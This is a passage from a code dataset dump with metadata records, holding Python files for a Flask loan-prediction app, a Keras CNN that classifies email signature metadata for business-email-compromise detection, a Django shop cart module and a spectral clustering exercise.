output_dict['Loan Purpose']=purpose[int(data12)]\n output_dict['Address State']=addr_state[int(data13)]\n output_dict['Total Debt Obligation Income']=data14\n output_dict['Delinquency for the past 2 years']=data15\n output_dict['Inquiries in past 6 months (excluding auto and mortgage inquiries)']=data16\n output_dict[\"Number of open credit lines in the borrower's credit file\"]=data17\n output_dict['Number of derogatory public records']=data18\n output_dict['Total credit revolving balance']=data19\n output_dict['Revolving line utilization rate']=data20\n output_dict[\"Total number of credit lines currently in the borrower's credit file\"]=data21\n output_dict['Initial List Status']=initial_list_status[int(data22)]\n output_dict['Remaining outstanding principal for total amount funded']=data23\n output_dict['Remaining outstanding principal for portion of total amount funded by investors']=data24\n output_dict['Payments received to date for total amount funded']=data25\n output_dict['Principal received to date']=data26\n output_dict['Interest received to date']=data27\n output_dict['Late fees received to date']=data28\n output_dict['Last total payment amount received']=data29\n output_dict['Number of collections in 12 months excluding medical collections']=data30\n output_dict['Application Type']=application_type[int(data31)]\n output_dict['Number of accounts on which the borrower is now delinquent']=data32\n output_dict['Total collection amounts ever owed']=data33\n output_dict['Total current balance of all accounts']=data34\n \n return render_template('individualresult.html',original_input=output_dict,data=prediction)\n# In[7]:\n\n\nif __name__=='__main__':\n app.run(debug=True)\n\n\n# In[ ]:\n\n\n", "sub_path": "individual.py", "file_name": "individual.py", "file_ext": "py", "file_size_in_byte": 6173, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 15, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.request.form.values", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 74, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 74, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 82, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 84, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 85, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 85, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 87, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 87, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 88, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 88, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 89, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 89, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 90, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 90, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 91, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 91, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 92, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 92, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 93, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 93, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 94, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 94, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 95, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 95, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 96, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 96, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 97, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 97, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 98, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 98, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 99, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 99, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 100, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 100, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 101, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 101, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 102, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 102, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 103, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 103, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 104, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 104, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 105, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 105, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 106, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 107, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 107, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 108, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 108, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 109, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 109, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 110, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 110, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 111, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 150, "usage_type": "call"}]} {"seq_id": "236297449", "text": "from signer import *\nfrom optparse import OptionParser\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.utils import Sequence\nfrom keras.optimizers import Adam\nfrom keras.callbacks import Callback,ModelCheckpoint\nfrom sklearn.externals import joblib\n\npd.set_option('display.max_rows',None)\n\nop = OptionParser(usage='python3 poc_eval_mp.py [options] [objs-folder] [anit-folder] [meta_embed_file] [model_dest]')\nop.add_option('--target_test', dest='target_test', help='an additional target test set for evaluation, used while test_ratio is 0')\nop.add_option('--anti_test', dest='anti_test', help='an addtional anit test set for evaluation, used while test_ratio is 0')\nop.add_option('--bec_test', dest='bec_test', help='an addtional bec test set for evaluation, used while test_ratio is 0')\nop.add_option('--test_ratio', dest='test_ratio', type='float', default=0, help='a ratio for ratio of test set, default is 0')\nop.add_option(\"-v\", dest=\"verbose\", action='store_true', default=False, help='a switch to turn on/off detail messages')\nop.add_option('-n', dest='enable_nmlzr', action='store_true', default=False, help='a switch to turn on/off the normalizer')\nop.add_option('--expt_debug', dest='expt_debug', action='store_true', default=False, help='experiment mode')\noptions,args = op.parse_args()\n\nEXPT_DEBUG = options.expt_debug\n\n#-- Get Data Paths --#\ntr_target_path = args[0]\ntr_anti_path = args[1]\nmodel_path = args[2] if len(args)>2 else None\ntt_target_path = options.target_test\ntt_anti_path = options.anti_test\ntt_bec_path = options.bec_test\n\ndef meta_to_word(t,ignore_length=False,only_initial=False,only_final=False,only_length=False):\n t = [('<!--signature-->',0) if x=='<!--signature-->' else (list(x.keys())[0],list(x.values())[0]) for x in t]\n if only_initial:\n t = [x[0] for x,y in t]\n elif only_final:\n t = [x[-1] for x,y in t]\n elif only_length:\n t = [x if len(x)==1 else (str(y) if y<31 else '31+') for x,y in t]\n elif ignore_length:\n t = [x for x,y in t]\n else:\n t = [x if y<=len(x) else x[0]+'_'*(y-len(x))+x[1:] for x,y in t]\n t = '<sep>'.join(t)\n return t\n\ndef read_meta_path(meta_path):\n filelist = sorted(glob.glob(os.path.join(meta_path,'*.meta')))\n text = pd.DataFrame(index=pd.Index([],name='title'))\n for f in filelist:\n title = os.path.splitext(os.path.split(f)[1])[0]\n t = read_meta(f)\n text.loc[title,'filename'] = f\n text.loc[title,'raw'] = json.dumps(t,separators=(',',':'))\n text.loc[title,'wrd'] = meta_to_word(t)\n text.loc[title,'wrd_nolen'] = meta_to_word(t,ignore_length=True)\n text.loc[title,'ch0'] = meta_to_word(t,only_initial=True)\n text.loc[title,'ch1'] = meta_to_word(t,only_final=True)\n text.loc[title,'len'] = meta_to_word(t,only_length=True)\n return text\n\n#-- Read Meta --#\ntr_target = read_meta_path(tr_target_path) if tr_target_path else None\ntr_anti = read_meta_path(tr_anti_path) if tr_anti_path else None\ntt_target = read_meta_path(tt_target_path) if tt_target_path else None\ntt_anti = read_meta_path(tt_anti_path) if tt_anti_path else None\ntt_bec = read_meta_path(tt_bec_path) if tt_bec_path else None\n\n#-- Compile Training and Test Data --#\ndata_tr = pd.concat([tr_target,tr_anti],0,keys=['target','anti'],names=['grp',],sort=False)\ndata_tr['bec'] = data_tr.index.get_level_values('grp')!='target'\ndata_tt = pd.concat([tt_target,tt_anti,tt_bec],0,keys=['target','anti','bec'],names=['grp',],sort=False)\ndata_tt['bec'] = data_tt.index.get_level_values('grp')!='target'\n\n#-- Fit Tokenizers --#\nMAX_NUM_WORDS = 20000\ntokenizer = {}\nfor col in ('wrd','wrd_nolen','ch0','ch1','len'):\n tokenizer[col] = Tokenizer(num_words=MAX_NUM_WORDS,filters='',lower=False,split='<sep>',char_level=False,oov_token=None)\n tokenizer[col].fit_on_texts(data_tr[col].str.replace('\\r\\n','\\n'))\n\n#-- Text to Tokenizer Word Index --#\nX_tr = {}\nfor col in ('wrd','wrd_nolen','ch0','ch1','len'):\n X_tr[col] = tokenizer[col].texts_to_sequences(data_tr[col].str.replace('\\r\\n','\\n'))\n\nmax_seq_len = min(max([len(x) for x in X_tr['wrd']]),1000)\nfor col in ('wrd','wrd_nolen','ch0','ch1','len'):\n X_tr[col] = pad_sequences(X_tr[col],maxlen=max_seq_len,dtype='int32',padding='post',truncating='post',value=0)\n\ny_tr = data_tr.bec\n\nX_tt = {}\nfor col in ('wrd','wrd_nolen','ch0','ch1','len'):\n X_tt[col] = tokenizer[col].texts_to_sequences(data_tt[col].str.replace('\\r\\n','\\n'))\n X_tt[col] = pad_sequences(X_tt[col],maxlen=max_seq_len,dtype='int32',padding='post',truncating='post',value=0)\n\ny_tt = data_tt.bec\n\ndef token_embedding_mc(max_seq_len,tokenizer,channels,output_dim,mask_zero=False):\n embed_model = {}\n for col in channels:\n embed_model[col] = token_embedding(max_seq_len,tokenizer[col],output_dim=output_dim,mask_zero=mask_zero)\n #\n embed_mc_output = Concatenate(axis=2)([embed_model[col].output for col in channels])\n return Model(inputs=[embed_model[col].input for col in channels],outputs=embed_mc_output)\n\n#-----------#\n#-- CNN 7 --#\n#-----------#\n#---- Preprocess: All characters\n#---- Channels: (wrd,wrd_nolen,ch0,ch1,len)\n#---- Seed: 0\n#---- ND: 20, FS: (3,4,5), NF: 64, Dropout: 0.2, Lambda: 0.001, Loss: 'mean_squared_error', AdamDecay: 0.02, MaxEpochs: fr:55 jp:60, BatchSize: 256\nkeras_seed(0)\nMAX_EPOCHS = 60 if tt_target_path.split(os.sep)[4]=='Trend_jp' else 55\nCHANNELS = ('wrd','wrd_nolen','ch0','ch1','len')\nCNN_DROPOUT = 0.2\nREG_LAMBDA = 0.001\nADAM_DECAY = 0.02\nembed_model_mc = token_embedding_mc(max_seq_len,tokenizer,channels=CHANNELS,output_dim=20)\ntweet_embed_model = YoonKimCNN(embed_model_mc,filter_sizes=(3,4,5),num_filters=64,batch_norm=False,dropout=CNN_DROPOUT)\npreds = Dense(1,activation='sigmoid',\n kernel_regularizer=regularizers.l2(REG_LAMBDA),\n bias_regularizer=regularizers.l2(REG_LAMBDA),\n )(tweet_embed_model.output)\nmodel = Model(inputs=tweet_embed_model.inputs,outputs=preds)\nmodel.compile(loss='mean_squared_error', #'binary_crossentropy', #\n optimizer=Adam(decay=ADAM_DECAY),\n metrics=['accuracy'])\n\nif EXPT_DEBUG: t0 = time.time()\n\nout = model.fit([X_tr[col] for col in CHANNELS],y_tr,validation_data=([X_tt[col] for col in CHANNELS],y_tt),epochs=MAX_EPOCHS,batch_size=256,class_weight=None,shuffle=True,verbose=int(EXPT_DEBUG))\nhist = pd.DataFrame(out.history,index=range(1,MAX_EPOCHS+1))[['loss','acc','val_loss','val_acc']]\nif EXPT_DEBUG:\n print(time.time() - t0)\n print(hist[(hist.index.isin(range(0,MAX_EPOCHS+1,5)))|(hist.val_loss==hist.val_loss.min())|(hist.val_acc==hist.val_acc.max())])\n\ndata_tr['bec_prob'] = model.predict([X_tr[col] for col in CHANNELS])\ndata_tt['bec_prob'] = model.predict([X_tt[col] for col in CHANNELS])\n\n# #--------------------------------------------------------#\n# #-- CNN 8 - Baseline CNN w/ space char and len channel --#\n# #--------------------------------------------------------#\n# #---- Preprocess: All characters\n# #---- Channels: (wrd_nolen,len)\n# #---- Seed: 0\n# #---- ND: 20, FS: (3,4,5), NF: 32, Dropout: 0.02, Lambda: 0.001, Loss: 'binary_crossentropy', AdamDecay: 0, MaxEpochs: fr:85 jp:70, BatchSize: 256\n# keras_seed(0)\n# MAX_EPOCHS = 70 if tt_target_path.split(os.sep)[4]=='Trend_jp' else 85\n# CHANNELS = ('wrd_nolen','len')\n# CNN_DROPOUT = 0.02\n# REG_LAMBDA = 0.001\n# embed_model_mc = token_embedding_mc(max_seq_len,tokenizer,channels=CHANNELS,output_dim=20)\n# tweet_embed_model = YoonKimCNN(embed_model_mc,filter_sizes=(3,4,5),num_filters=32,batch_norm=False,dropout=CNN_DROPOUT)\n# preds = Dense(1,activation='sigmoid',\n# kernel_regularizer=regularizers.l2(REG_LAMBDA),\n# bias_regularizer=regularizers.l2(REG_LAMBDA),\n# )(tweet_embed_model.output)\n# model = Model(inputs=tweet_embed_model.inputs,outputs=preds)\n# model.compile(loss='binary_crossentropy', #'mean_squared_error', #\n# optimizer='adam',\n# metrics=['accuracy'])\n\n# if EXPT_DEBUG: t0 = time.time()\n\n# out = model.fit([X_tr[col] for col in CHANNELS],y_tr,validation_data=([X_tt[col] for col in CHANNELS],y_tt),epochs=MAX_EPOCHS,batch_size=256,class_weight=None,shuffle=True,verbose=int(EXPT_DEBUG))\n# hist = pd.DataFrame(out.history,index=range(1,MAX_EPOCHS+1))[['loss','acc','val_loss','val_acc']]\n# if EXPT_DEBUG:\n# print(time.time() - t0)\n# print(hist[(hist.index.isin(range(0,MAX_EPOCHS+1,5)))|(hist.val_loss==hist.val_loss.min())|(hist.val_acc==hist.val_acc.max())])\n\n# data_tr['bec_prob'] = model.predict([X_tr[col] for col in CHANNELS])\n# data_tt['bec_prob'] = model.predict([X_tt[col] for col in CHANNELS])\n\n#----------------#\n#-- Save Model --#\n#----------------#\nif model_path:\n joblib.dump({'tokenizer':tokenizer,'hist':hist,},os.path.join(model_path,tr_anti_path+'_cnn7.pkl'))\n model.save(os.path.join(model_path,tr_anti_path+'_cnn7.hd5'),overwrite=True)\n\n#---------------------------#\n#-- Evaluation and Output --#\n#---------------------------#\nBEC_THD = 0.3\ndata_tr['bec_hat'] = data_tr.bec_prob>BEC_THD\ndata_tt['bec_hat'] = data_tt.bec_prob>BEC_THD\nres = pd.concat([\n scores(data_tr.bec,data_tr.bec_hat),\n scores(data_tt.bec,data_tt.bec_hat),\n ],1,keys=('tr','tt'))\nif EXPT_DEBUG: print(res)\n\n# res = pd.Series([\n# accuracy_score(data_tr.loc['target'].bec,data_tr.loc['target'].bec_hat),\n# accuracy_score(data_tr.loc['anti'].bec,data_tr.loc['anti'].bec_hat),\n# accuracy_score(data_tt.loc['target'].bec,data_tt.loc['target'].bec_hat),\n# accuracy_score(data_tt.loc['anti'].bec,data_tt.loc['anti'].bec_hat),\n# ],index=('tr_target','tr_anti','tt_target','tt_anti'))\n\n#-- Output Prediction Results to Stdout --#\nif not EXPT_DEBUG:\n # data_tt['filename'] = 'k-fold' + data_tt.filename.str.split('k-fold').str[1]\n for idx,row in data_tt.iterrows():\n print(\"%(filename)s,%(bec_prob)f,%(bec_hat)d\"%row)\n", "sub_path": "poc_eval_mp_cnn7.py", "file_name": "poc_eval_mp_cnn7.py", "file_ext": "py", "file_size_in_byte": 9951, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "optparse.OptionParser", "line_number": 12, "usage_type": "call"}, {"api_name": "keras.preprocessing.text.Tokenizer", "line_number": 79, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence.pad_sequences", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.preprocessing.sequence.pad_sequences", "line_number": 96, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 129, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 181, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 181, "usage_type": "name"}]} {"seq_id": "620116979", "text": "from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views.decorators.http import require_POST\n\nfrom shop.models import *\nfrom orders.models import Order\nfrom .cart import Cart\nfrom .forms import CartAddProductForm, GiftForm\nfrom coupons.forms import CouponApplyForm\nimport requests\n\n\n# Можно поменять редирект на карточку товара снова\n@require_POST\ndef cart_add(request, flavour_id):\n cart = Cart(request)\n flavour = Flavour.published.get(id=flavour_id)\n form = CartAddProductForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n cart.add(flavour=flavour,\n quantity=cd['quantity'],\n update_quantity=cd['update'])\n return redirect('cart:cart_detail')\n\n\n@require_POST\ndef cart_offer_add(request, flavour_id):\n cart = Cart(request)\n flavour = Flavour.published.get(id=flavour_id)\n cart.add(flavour=flavour)\n return cart\n\n\ndef add_offer(request, offer_id):\n products = Offer.published.get(id=offer_id).products.all()\n for product in products:\n flavour_id = product.flavour_by_product()\n cart_offer_add(request, flavour_id)\n cart = Cart(request)\n return redirect('cart:cart_detail')\n\n\ndef cart_remove(request, flavour_id):\n cart = Cart(request)\n flavour = Flavour.published.get(id=flavour_id)\n cart.remove(flavour)\n return redirect('cart:cart_detail')\n\n\ndef cart_detail(request):\n categories = Category.published.all()\n suppliers = Supplier.published.all()\n objectives = Objective.published.all()\n products_rec = Product.published.filter(recommendation=True)\n offers = Offer.published.all()\n cart = Cart(request)\n try:\n orders = Order.published.filter(client=request.user, paid=False)\n except:\n orders = None\n for item in cart:\n item['update_quantity_form'] = CartAddProductForm(\n initial={'quantity': item['quantity'],\n 'update': True})\n\n coupon_apply_form = CouponApplyForm()\n gift_form = GiftForm()\n list_of_gift = Product.published.filter(available=False)\n gift = None\n sum_for_gift = cart.get_total_price()\n balance = 2500 - sum_for_gift\n balance2 = 5000 - sum_for_gift\n if 2500 <= sum_for_gift <= 5000:\n gift = 2500\n elif sum_for_gift > 5000:\n gift = 5000\n # Проверяем находится ли подарок в корзине перебором\n gift_in_cart = False\n for item in cart:\n flavour = item['flavour']\n # Если недоступный товар в корзине, значит подарок уже добавили\n if flavour.product.available == False:\n gift_in_cart = True\n template = 'cart/detail.html'\n context = locals()\n return render(request, template, context)\n\n\n@require_POST\ndef add_gift(request):\n cart = Cart(request)\n gift_form = GiftForm(request.POST)\n product = None\n if gift_form.is_valid():\n gift = gift_form.cleaned_data['gift']\n if gift == 'Батончик':\n product = Product.published.get(name='Батончик(подарок)')\n elif gift == 'Шейкер 3в1':\n product = Product.published.get(name='Шейкер(подарок)')\n elif gift == 'Печенье':\n product = Product.published.get(name='Печенье(подарок)')\n try:\n flavour = product.flavour_for_gift()\n cart.add(flavour=flavour, quantity=1)\n except:\n if gift == 'Батончик+печенье':\n products = Product.published.filter(name__in=('Батончик(подарок)', 'Печенье(подарок)'))\n for product in products:\n flavour = product.flavour_for_gift()\n cart.add(flavour=flavour, quantity=1)\n return redirect('cart:cart_detail')\n", "sub_path": "cart/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3935, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cart.Cart", "line_number": 15, "usage_type": "call"}, {"api_name": "forms.CartAddProductForm", "line_number": 17, "usage_type": "call"}, {"api_name": "cart.add", "line_number": 20, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 23, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_POST", "line_number": 13, "usage_type": "name"}, {"api_name": "cart.Cart", "line_number": 28, "usage_type": "call"}, {"api_name": "cart.add", "line_number": 30, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_POST", "line_number": 26, "usage_type": "name"}, {"api_name": "cart.Cart", "line_number": 39, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 40, "usage_type": "call"}, {"api_name": "cart.Cart", "line_number": 44, "usage_type": "call"}, {"api_name": "cart.remove", "line_number": 46, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 47, "usage_type": "call"}, {"api_name": "cart.Cart", "line_number": 56, "usage_type": "call"}, {"api_name": "orders.models", "line_number": 58, "usage_type": "name"}, {"api_name": "orders.models.Order.published.filter", "line_number": 58, "usage_type": "call"}, {"api_name": "orders.models.Order.published", "line_number": 58, "usage_type": "attribute"}, {"api_name": "orders.models.Order", "line_number": 58, "usage_type": "name"}, {"api_name": "orders.models", "line_number": 60, "usage_type": "name"}, {"api_name": "forms.CartAddProductForm", "line_number": 62, "usage_type": "call"}, {"api_name": "coupons.forms.CouponApplyForm", "line_number": 66, "usage_type": "call"}, {"api_name": "forms.GiftForm", "line_number": 67, "usage_type": "call"}, {"api_name": "cart.get_total_price", "line_number": 70, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 86, "usage_type": "call"}, {"api_name": "cart.Cart", "line_number": 91, "usage_type": "call"}, {"api_name": "forms.GiftForm", "line_number": 92, "usage_type": "call"}, {"api_name": "cart.add", "line_number": 104, "usage_type": "call"}, {"api_name": "cart.add", "line_number": 110, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 111, "usage_type": "call"}, {"api_name": "django.views.decorators.http.require_POST", "line_number": 89, "usage_type": "name"}]} {"seq_id": "82042537", "text": "import math\nimport matplotlib.pyplot as plt\nimport numpy\nimport pandas\nimport scipy\n\nimport numpy.linalg as linalg\nimport sklearn.cluster as cluster\nimport sklearn.neighbors as neighbors\n\nSpiral = pandas.read_csv('C:\\\\Users\\\\Lipi\\\\Downloads\\\\MachineLearning\\\\Week4_LIPI\\\\jain.csv',\n delimiter=',')\n\nnObs = Spiral.shape[0]\n\nplt.scatter(Spiral['x'], Spiral['y'], c = Spiral['group'])\nplt.xlabel('x')\nplt.ylabel('y')\nplt.grid(True)\nplt.show()\n\ntrainData = Spiral[['x','y']]\nkmeans = cluster.KMeans(n_clusters=2, random_state=0).fit(trainData)\n\nprint(\"Cluster Centroids = \\n\", kmeans.cluster_centers_)\n\nSpiral['KMeanCluster'] = kmeans.labels_\n\nfor i in range(2):\n print(\"Cluster Label = \", i)\n print(Spiral.loc[Spiral['KMeanCluster'] == i])\n\nplt.scatter(Spiral['x'], Spiral['y'], c = Spiral['KMeanCluster'])\nplt.xlabel('x')\nplt.ylabel('y')\nplt.grid(True)\nplt.show()\n\n# Fourteen nearest neighbors\nkNNSpec = neighbors.NearestNeighbors(n_neighbors = 14, algorithm = 'brute', metric = 'euclidean')\nnbrs = kNNSpec.fit(trainData)\nd3, i3 = nbrs.kneighbors(trainData)\n\n# Retrieve the distances among the observations\ndistObject = neighbors.DistanceMetric.get_metric('euclidean')\ndistances = distObject.pairwise(trainData)\n\n# Create the Adjacency matrix\nAdjacency = numpy.zeros((nObs, nObs))\nfor i in range(nObs):\n for j in i3[i]:\n Adjacency[i,j] = math.exp(- (distances[i][j])**2 )\n\n# Make the Adjacency matrix symmetric\nAdjacency = 0.5 * (Adjacency + Adjacency.transpose())\n\n# Create the Degree matrix\nDegree = numpy.zeros((nObs, nObs))\nfor i in range(nObs):\n sum = 0\n for j in range(nObs):\n sum += Adjacency[i,j]\n Degree[i,i] = sum\n\n# Create the Laplacian matrix \nLmatrix = Degree - Adjacency\n\n# Obtain the eigenvalues and the eigenvectors of the Laplacian matrix\nevals, evecs = linalg.eigh(Lmatrix)\n\n# Series plot of the smallest five eigenvalues to determine the number of clusters\nsequence = numpy.arange(1,5,1) \nplt.plot(sequence, evals[0:4,], marker = \"o\")\nplt.xlabel('Sequence')\nplt.ylabel('Eigenvalue')\nplt.xticks(sequence)\nplt.grid(\"both\")\nplt.show()\n\n# Series plot of the smallest twenty eigenvalues to determine the number of neighbors\nsequence = numpy.arange(1,21,1) \nplt.plot(sequence, evals[0:20,], marker = \"o\")\nplt.xlabel('Sequence')\nplt.ylabel('Eigenvalue')\nplt.grid(\"both\")\nplt.xticks(sequence)\nplt.show()\n\n# Inspect the values of the selected eigenvectors \nfor j in range(10):\n print('Eigenvalue: ', j)\n print(' Mean = ', numpy.mean(evecs[:,j]))\n print('Standard Deviation = ', numpy.std(evecs[:,j]))\n print(' Coeff. Variation = ', scipy.stats.variation(evecs[:,j]))\n\nZ = evecs[:,[0,1]]\n\nplt.scatter(1e10*Z[:,0], Z[:,1])\nplt.xlabel('First Eigenvector')\nplt.ylabel('Second Eigenvector')\nplt.grid(\"both\")\nplt.show()\n\n# Perform 2-cluster K-mean on the first two eigenvectors\nkmeans_spectral = cluster.KMeans(n_clusters = 2, random_state = 0).fit(Z)\nSpiral['SpectralCluster'] = kmeans_spectral.labels_\n\nplt.scatter(Spiral['x'], Spiral['y'], c = Spiral['SpectralCluster'])\nplt.xlabel('x')\nplt.ylabel('y')\nplt.grid(True)\nplt.show()\n", "sub_path": "Old Materials/Lipi Shah/MachineLearning/Week4_LIPI/Week 4 Jain Spiral.py", "file_name": "Week 4 Jain Spiral.py", "file_ext": "py", "file_size_in_byte": 3123, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "sklearn.cluster.KMeans", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.cluster", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "sklearn.neighbors.NearestNeighbors", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.neighbors", "line_number": 40, "usage_type": "name"}, {"api_name": "sklearn.neighbors.DistanceMetric.get_metric", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.neighbors.DistanceMetric", "line_number": 45, "usage_type": "attribute"}, {"api_name": "sklearn.neighbors", "line_number": 45, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "math.exp", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.linalg.eigh", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 69, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": 